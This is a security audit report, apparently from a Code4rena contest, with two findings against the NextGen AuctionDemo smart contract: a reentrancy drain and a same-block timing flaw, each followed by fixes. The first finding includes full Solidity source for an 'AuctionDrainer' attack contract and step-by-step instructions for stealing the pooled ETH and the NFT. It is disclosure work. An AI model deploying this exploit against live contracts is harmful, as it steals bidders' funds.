NextGen - ABA's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L130 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L134-L143

Vulnerability details

Summary

A malicious actor can manipulate the auction to withdraw the entire contract balance and steal the NFT without paying any ETH in the following way:

• exactly after an auction starts, he bids first and continuously bids, one after another, adding to the total amount bided, from a malicious smart contract which also has a fallback function for receiving ETH
• the cumulative amount bided by him is the maximum he can extract, extra, from the contract
• waits for normal bids to pile up
• at the last moment of the auction he overbids and wins the auction
• he the calls the AuctionDemo::claimAuction exactly when block.timestamp == minter.getAuctionEndTime(_tokenid)
• claimAuction iterates through all bids, in the order they were created, and if they still are active, will transfer the bid value back
• at this point, the bid wall from the malicious contract is returned and, on the last bid from the wall, the callback in the malicious contract activates when receiving tokens
• the malicious contract then calls AuctionDemo::cancelAllBids, which works because at block.timestamp == minter.getAuctionEndTime(_tokenid) this function is validly called
• cancelAllBids sends the entire cumulated bid amount back, again, to the contract (or less if there is less ETH in the contract)
• execution then returns back to claimAuction where the bids after the initial attacker bid wall are attempted to be returned, and fails to transfer but does not revert because the auction uses a push instead of a pull pattern, and the ETH transfer is not required to be successful
• since the attacker also won the auction he also gets the NFT, but without paying the bid since the contract was drained at this point and that transfer too fails (but not reverts)

Vulnerability Details

When an auction for a minted token has ended, the winner or an approved admin can call AuctionDemo::claimAuction to retrieve his prize.

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Functionally, this function:

• gets highest bid and bidder
• transfers the won NFT from its owner to the auction winner
• transfers all non-winner funds back, in order

and has the following issues and constraints that are relevant:

• CL(1): it uses a push instead of a pull pattern for token transfer
• CL(2): it uses native ETH instead of an ERC20 token or wETH
• CL(3): after sending back ETH to the non-wining auction participants or sending the winning highest bid ETH to the NFT owner, claimAuction does not set the status of that bid to false
• CL(4): can only be called once but it can be called when block.timestamp >= minter.getAuctionEndTime(_tokenid)

Canceling a bid can be done by calling either AuctionDemo::cancelBid or AuctionDemo::cancelAllBids which have the same logic but cancelAllBids cancel all bids created by the caller. AuctionDemo::cancelAllBids:

    function cancelAllBids(uint256 _tokenid) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
            if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
                auctionInfoData[_tokenid][i].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
            } else {}
        }
    }

AuctionDemo::cancelAllBids has the following relevant issues or constraints:

• CB(1): it can be called when block.timestamp <= minter.getAuctionEndTime
• CB(2): it does not check if claimAuction has been called already (by checking auctionClaim[_tokenid])

By combining all 6 lower issues together (CL(1), CL(2), CL(3), CL(4), CB(1) and CB(2)) in a creative way, a threat actor can construct the attack scenario mentioned in Summary and drain the auction.

Some constraints and observations:

• attacker can only extract at most double the cumulative bids amount he has done
• the moment he withdraws cumulated bids over his highest bid, winning bid, he gets the NFT for free
• if the attacker does not win, he simply gets back his ETH
• another threat actor doing the same attack poses no risc to him as he can simply cancel all his bids before the auction ends

POC

The following is a partially coded POC

For simplifying the POC, the same contract made the entire bid-wall, but in a a real life scenario, to further obfuscate the attack, there can be several contracts that bided and the last one from the bid-wall calls all of them to cancel their bids and execute the attack

• add the attack contract to hardhat\smart-contracts\pocs\AuctionDrainer.sol. Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {auctionDemo as AuctionDemo} from "../AuctionDemo.sol";
import {Ownable} from "../../node_modules/@openzeppelin/contracts/access/Ownable2Step.sol";
import {IERC721Receiver} from "../../node_modules/@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol" ;
import {EnumerableSet} from "../../node_modules/@openzeppelin/contracts/utils/structs/EnumerableSet.sol" ;

contract AuctionDrainer is Ownable, IERC721Receiver {
    using EnumerableSet for EnumerableSet.UintSet;

    AuctionDemo immutable private auctionContract;
    uint256 private markAmount;
    uint256 private targetTokenId;
    EnumerableSet.UintSet private placedBids;

    constructor(address _auctionDemoAddress) {
        require(_auctionDemoAddress != address(0), "auctionDemoAddress must not be 0");
        auctionContract = AuctionDemo(_auctionDemoAddress);
    }

    function setTargetTokenId(uint256 _tokenId) external onlyOwner {
        targetTokenId = _tokenId;
    }

    function bid(uint256 _amount) external onlyOwner {
        require(placedBids.add(_amount), "bids must be easily distinguishable");
        auctionContract.participateToAuction{value: _amount}(targetTokenId);
    }

    function bidAndMark(uint256 _amount) external onlyOwner {
        require(placedBids.add(_amount), "bids must be easily distinguishable");
        markAmount = _amount;
        auctionContract.participateToAuction{value: _amount}(targetTokenId);
    }

    function callClaimAuction() external onlyOwner {
        auctionContract.claimAuction(targetTokenId);
    }

    fallback() external payable {
        if (msg.value == markAmount && msg.sender == address(auctionContract)) {
            auctionContract.cancelAllBids(targetTokenId);
        }
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}

• call npm install @openzeppelin/contracts@4.9.3 in 2023-10-nextgen\hardhat
• using foundry or hardhat:
  • deploy the project
  • deploy AuctionDrainer
  • set an initial balance, say 10 ETH to AuctionDrainer (maximum capable to steal)
  • start the auction
  • call AuctionDrainer::setTargetTokenId to save what token will be stolen
  • bid using AuctionDrainer::bid with incremental bids (0.5, 0.51, 0.52 ETH etc). We avoid one single large bid as nobody would over-bid, the idea is to deploy funds
  • when the bid wall is finished call AuctionDrainer::bidAndMark. This will indicated for the contract when it receives that value to trigger a cancel to all bids
  • imitate normal user flow by adding more bids, say up to 8 ETH and a maximum bid ot 0.9 ETH
  • call AuctionDrainer::bid with a large, say 1 ETH bid to win;
  • at this point:
    • AuctionDrainer has 0.01ETH left to pay for gas
    • AuctionDemo has 17.99 ETH
    • users bided 8 ETH and now have 0 ETH
  • call AuctionDrainer::callClaimAuction. This will call:
    • AuctionDemo::claimAuction which will iterate over all bids and returning the non-winning ones
    • will start with the first bids, the bid-wall.
    • AuctionDrainer::fallback will be triggered but since the returning bids are not the marked value it will do nothing
    • when the marked bid is reached, AuctionDrainer::fallback will call AuctionDemo::cancelAllBids
      • this returns again up to 9.99 ETH but there is only 8 ETH in the contract so it will send the 8 ETH and not be successful on the last 1.99 ETH equivalent bids in the wall
    • execution is returner to AuctionDemo::claimAuction where it further attempts to refund users and fails. Execution is finished
  • at this point:
    • AuctionDrainer has 18 ETH (minus gas)
    • AuctionDemo has 0 ETH
    • users still have 0 ETH

Observation: the AuctionDrainer contract used cancelAllBids but if we save the index for each of our bids, besides the last winning bid, in the fallback we can call cancelBid on all of them so that claimAuction also transfers the NFT to the contract (and fails payment to original owner) so it steals it.

Impact

Entire auction token balance plus NFT can be stolen by attacker.

Tools Used

Manual review.

Recommendations

1. change the entire code structure to a push over pull
   • caution as simply checking and reverting if one transfer failed will leave the contract vulnerable to DoS.
2. do not allow cancelBid/cancelAllBids and claimAuction to be callable at the same time
3. do not allow cancelBid/cancelAllBids to be called after an auction was claimed

Assessed type

Error

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57-L58 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L105

Vulnerability details

Summary

Biding in an auction (via auctionDemo::participateToAuction) and claiming the NFT at the end of an auction (via auctionDemo::claimAuction) can be called in the same block. This introduces 2 major issues:

• Exactly in the block when an auction is finished, a user may frontrun the call to claimAuction with his own participateToAuction (or simply call participateToAuction directly it nobody called claimAuction) and win simply by adding 1 WEI over the previous las winning bid, then himself call claimAuction in the same block and retrieve the NFT. Thus winning the NFT auction by 1 WEI.
• If a normal user bids in the same block when claimAuction is called but his transaction is after the claimAuction, it will not revert and he will lose his funds forever since after that block, the cancel bids functions will not work any more

Vulnerability Details

After an auction has started users can bid using auctionDemo::participateToAuction and when the auction is finished, the winner or admin can call auctionDemo::claimAuction to refund non-winners and send the NFT to the winner.

auctionDemo::participateToAuction and auctionDemo::claimAuction can be called in the same block because:

• participateToAuction checks: block.timestamp <= minter.getAuctionEndTime(_tokenid)
• claimAuction checks: block.timestamp >= minter.getAuctionEndTime(_tokenid)

thus in the moment block.timestamp == minter.getAuctionEndTime(_tokenid) both can be called.

cancelAllBids and cancelBid also check as so block.timestamp <= minter.getAuctionEndTime(_tokenid), to note they will not be callable after the end time has passed, making bids after the claimAuction

Impact

NFT winning bid may be frontrun and surpassed with 1 WEI and users may have ETH forever blocked in the contract.

Tools Used

Manual review

Recommendations

Do not allow participateToAuction and claimAuction to be called at the same time.

Assessed type

Timing